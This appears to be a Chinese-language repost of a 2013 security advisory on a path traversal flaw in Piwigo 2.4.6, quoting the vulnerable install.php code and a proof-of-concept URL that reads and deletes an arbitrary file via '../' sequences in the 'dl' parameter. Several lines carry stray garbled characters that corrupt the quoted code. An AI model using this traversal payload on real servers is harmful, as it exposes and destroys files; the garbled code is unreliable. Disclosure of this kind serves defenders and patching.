Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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0 X/ H6 A5 G6 N9 fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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  |7 {/ g  J  ~( e0 ?: [0 O7 y/install.php:
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: x' [$ o9 H) k' D9 P! Y5 Y# m113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
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6 Y  n0 v) }9 T9 P% s7 @115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' o+ T  E; S: D% v$ R5 W116:   header('Cache-Control: no-cache, must-revalidate');
1 w( Q, ?# g: I117:   header('Pragma: no-cache');
. _1 g1 o& J& H+ r118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
2 [2 p) O, s7 P/ t120:   header('Content-Length: '.filesize($filename));
& x3 ^) [  a3 d* s; {* T121:   echo file_get_contents($filename);
122:   unlink($filename);
3 ~8 p. x2 [1 u- v' r123:   exit();
7 [- m5 X  r7 G7 G124: }
& m$ E3 E  r3 e+ l; S====================================================================

- R0 p$ ^+ K% X. t( y2 _1 _2 ]7 vTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
' O, u1 U; K: a3 J           PHP 5.4.4
           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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  `* s/ W1 g' J: t& vAdvisory ID: ZSL-2013-5127
4 w: ^& ^7 j) w1 \) {, M2 z, CAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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